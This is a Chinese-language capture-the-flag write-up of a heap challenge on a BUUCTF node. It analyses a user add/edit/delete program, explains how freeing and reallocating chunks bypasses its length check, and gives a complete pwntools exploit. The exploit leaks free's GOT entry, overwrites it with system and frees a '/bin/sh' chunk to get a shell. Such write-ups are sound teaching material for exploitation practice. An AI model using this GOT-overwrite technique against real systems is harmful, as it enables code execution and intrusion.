跳过checksec,我们直接分析程序。
我这里把这些函数命名为add,delete,display,edit。
先看add。
就是创建两个chunk,一个的地址存放在s里,一个的地址存放在v2里。
然后把s存在v2指向的地址里,用一个名为ptr的数组存放v2。
可以看出来,我们创建了两个chunk。按顺序命名为chunk1和chunk2.我们把这两个chunk看作是一个user的两部分。显然,chunk1存放了user的内容,chunk2存放了user的内容的地址和user的名字。
其中name的位置在存放内容后面4个字节。
然后是ptr这个数组,存放了我们创建的user的内容的地址。
并且每创建一个user,xxxx会加1,可以看作是一个计数器。
然后是edit。
然后通过上述函数在ptr[xxxx]这里输入text,长度为length+1。
然后是delete函数:
display函数可以供我们泄露got表
重点!
上述代码如何理解呢?
其实这是一个安全机制,下面根据一张图来解释一下。
我们首先申请了两个chunk,一个的地址存在v2(我们把他命名为content),一个的地址存在s(我们把它命名为control)。
然后v2这个地方的前4个字节用来存放s的地址,如上面我作的图,ptr‘指向了s。
然后4个字节之后的用来存放content。
update函数的参数实际上是heap的次序,在执行之后数量加1,但是进入update的参数是减了一的,所以相当于没有变化。
这里的v3指的是text的长度。 (_DWORD *)ptr[xxxx]指向的是control的首部,也就是ptr’,那么 *(_DWORD *)ptr[xxxx]就是ptr‘指向的内容,也就是content。
(char *)ptr[xxxx]-4指向的就是control的首部的地址。
那么这里的意思就是,如果content的长度加上你的text的长度超过了control的首部,就会报错,然后退出程序。
再把图放上来看一看
根据上述分析,我们不能直接填充s这一个块,使其溢出达到填充ptr’的目的。
但是,如果我们先创建两个0x80的chunk,然后将其释放。再申请一个0x100的chunk作为content,根据unsortedbin的特性,我们这个0x100的content就会申请到这两个被释放的0x80的位置。但是0x80的control还是会申请到原来的位置。如图:
中间会有很大一片空间。假设这一片空间大小为x.则我们可以填充x大小的内容。如下图,我们就可以通过s填充到ptr2,因为没有超过ptr ‘的位置。所以相当于绕过了他的检查。
代码如下:
from os import system
from pwn import *
from LibcSearcher import *
r=remote('node4.buuoj.cn','26638')
#r=process('./a')
elf=ELF('./a')
context.log_level = 'debug'
libc = ELF("./libc-2.23-32.so")
#context.terminal = ['tmux','splitw','-h']
def add(size,name,length,text):
r.recvuntil("Action: ")
r.sendline('0')
r.recvuntil("size of description: ")
r.sendline(str(size))
r.recvuntil("name: ")
r.sendline(str(name))
r.recvuntil("text length: ")
r.sendline(str(length))
r.recvuntil("text: ")
r.sendline(text)
def delete(idx):
r.recvuntil("Action: ")
r.sendline('1')
r.recvuntil("index: ")
r.sendline(str(idx))
def show(idx):
r.recvuntil("Action: ")
r.sendline('2')
r.recvuntil("index: ")
r.sendline(str(idx))
def edit(idx,length,text):
r.recvuntil("Action: ")
r.sendline('3')
r.recvuntil("index: ")
r.sendline(str(idx))
r.recvuntil("text length: ")
r.sendline(str(length))
r.recvuntil("text: ")
r.sendline(text)
printf_libc=libc.sym['printf']
system_libc=libc.sym['system']
free_libc=libc.sym['free']
free_got=elf.got['free']
ptr=0x804b080
add(0x80,'qianlei',0x10,'aaaaaa')#0
add(0x30,'qianlei',0x8,'aaaaaa')#1
delete(0)
add(0x100,'qianlei',0x80,'aaaaaa')#2
add(0x10,'qianlei',0x10,'/bin/sh\x00')
payload='a'*0x148+p32(free_got)
edit(2,0x150,payload)
show(1)
r.recvuntil("description: ")
free_addr=u32(r.recv(4))
print(hex(free_addr))
#gdb.attach(r)
offset=free_addr-free_libc
system_addr=system_libc+offset
edit(1,0x8,p32(system_addr))
#gdb.attach(r)
delete(3)
r.interactive()